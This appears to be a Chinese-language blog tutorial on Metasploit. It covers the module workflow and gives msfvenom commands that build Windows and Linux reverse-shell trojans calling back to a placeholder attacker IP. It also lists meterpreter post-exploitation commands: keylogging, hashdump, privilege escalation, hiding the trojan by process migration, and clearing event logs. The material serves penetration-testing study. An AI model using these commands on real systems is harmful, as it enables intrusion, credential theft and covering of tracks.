渗透测试神器-msf基础

Msf基础

Metasploit-framework(用ruby写的)基础:

image.png

MSF拥有世界上最大的渗透测试攻击数据库

Vulnerability:漏洞统称

expoit:攻击代码或者程序

Payload:完成实际攻击功能的代码

module:组成完整系统的基本构造块,每个模块执行特定任务

运行msf:

    1.sudo service postgresql start(开启数据库)

    2.msfconsole

msf架构:

image.png

msf模块介绍:

Exploit:msf最核心的模块,里面有针对不同操作系统不同服务的攻击,包括mac和andriod

encoders没啥用,编码,自己提供编码倒是可以

evasion:免杀,也没啥用,现在免杀也免不了被杀

Ms17-010:ms指微软17-010指17年编号010的漏洞

image.png

msf的基本命令:

命令说明
Use选择渗透攻击模块
Show payloads查看与该攻击模块相兼容的攻击载荷
Set payloads设置攻击载荷
Set target设置目标
Show options查看需要设置的配置参数
Exploit实施渗透测试攻击

注意:metasploit渗透攻击模块在目录:/usr/share/metasploit-framework/modules/exploits

msf直接渗透

1、根据模块搜集exp:search module

2、根据需要攻击的模块,use切换到对应的expolit内,然后show options查看需要配置的内容

required显示为yes就是必须要配置的服务

445是smb服务,是windows一定会开启的服务

3、set rhosts ip(也可以指定文件)配置攻击ip

4、下面两种payload是show payload查出来的,每个不同的攻击expolit有自己的payloads

Linux(windows)/x64/meterpreter/bind_ipv6_tcp是(带bind)在服务器开放一个端口等待我方攻击机连接

Linux(windows)/x64/meterpreter/reverse_name_pipe是(带reverse)是在本地开放一个端口,等待被控服务器主动连接

上述两种最后的name_pipe,ipv6_tcp,tcp,tcp_rc4的等是指连接的协议

5、set payload Linux(windows)/x64/meterpreter/reverse_name_pipe配置载荷

Show options查看需要设置的内容

所以msf远控是先配置expolit,再配置payload

流程为:
search module --> use expolit --> show options --> 配置exp --> show payloads --> set payload … --> show options --> 配置payloads --> expolit

msf的攻击原理:

image.png

看[*]是攻击过程:先是在本机开放4444端口

然后调用auxiliary的辅助模块进行扫描

扫描到一台存活的主机,开始攻击

标红代表攻击失败

二、msf远控功能:

命令:msfvenom

生成一个被控端的exe程序,在服务器上的木马程序

Msf -I payloads列出所有的payload

Msfvenom --list plantform查看支持生成木马的平台

生成针对windows的远控木马:

1、msfvenom生成木马

Msfvenom -p 指定payload LHOST=攻击机ip地址(别用127.0.0.1) LPORT=连接端口号 -f指定payload输出格式>输出位置和名字

比如:生成windows下反弹shell的木马:

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机ip地址> LPORT=<连接端口号> -f exe > name.exe

生成linux下反弹shell的木马:

Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<攻击机ip地址> LPORT=<连接端口号> -f elf > name.elf

此处生成的木马是上传至靶机的,所以msfvenom指定的payload要与show options设定的payload一致

2、将木马上传至目标机

3、在msfconsole中进行监听反弹的shell

开启metasploit设置监听参数:

    ①在metaspolit中使用handler为主动端,hander在exploit/multi

    ②设置payload,和前面制作木马时使用的payload一致

    ③设置lhost和lport(和前面制作木马的参数一样)

    ④expolit监听,等待被控端打开木马

image.png
如果攻击成功,会显示开启session会话

Sessions -l显示开启的session

msf的payload是分两段发送的,先发送核心payload,然后再用这段核心payload下载其他payload,如果连接失败,就会只存在核心payload

监听成功后,shell进入靶机终端

还有很多命令,screenshot截图,keyscan_start开启键盘监听,mouse鼠标等等

lcd切换本地路径

upload src . 把src文件上传到靶机当前目录,用来上传后续文件

meterpreter概述

介绍:

·Meterpreter是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。

·例如∶利用远程过程调用(RPC)服务的一个漏洞,当漏洞触发后,我们选择Meterpreter作为攻击载荷,就能够取得目标系统上的一个Meterpreter Shell连接。

·Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希获取、特权提升、跳板攻击等等

技术优势∶

·Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台。

·Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。

·另外,Meterpreter还提供了基于PHP和Java语言的实现。

Reverse_tcp:

image.png

image.png

meterpreter基本命令
background将meterpreter终端隐藏在后台
sessions查看已经成功获取的会话,sessions -i继续与某会话交互
shell直接获取系统控制台的shell
irb在会话里与Ruby终端进行交互
cat查看文件内容
getwd获得目标机当前的工作目录
upload上传文件
download下载文件
edit调用vi编辑器编辑
search对远程目标机上的文件进行搜索(-d指定其实目录,-f指定搜索文件或者部分文件名)
隐藏木马方法:进程注入(需要有最高权限)

ps显示当前进程

Migrate -P pid把当前木马进程迁移至pid,通常迁移至系统程序,因为随着迁移程序的关闭,木马也会随之关闭

Session -j -z挂起监听模式,也就是可以继续执行任务,并在后台监听

在攻击完成后,clearev清除事件日志

其他各种实用命令:

getsystem尝试提权
play播放音乐
portwd端口转发
execute执行文件
sysinfo得到目标系统的一些信息
shutdown关闭目标主机系统程序,因为随着迁移程序的关闭,木马也会随之关闭
mouse click 鼠标左击
mouse rightclick 1 1 在x=1,y=1坐标轴上鼠标右击
hashdump获取账号
getpid 获取当前会话的PID值
kill 终结PID进程
getuid 获得运行meterpreter会话的用户名,查看权限

  • 1
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值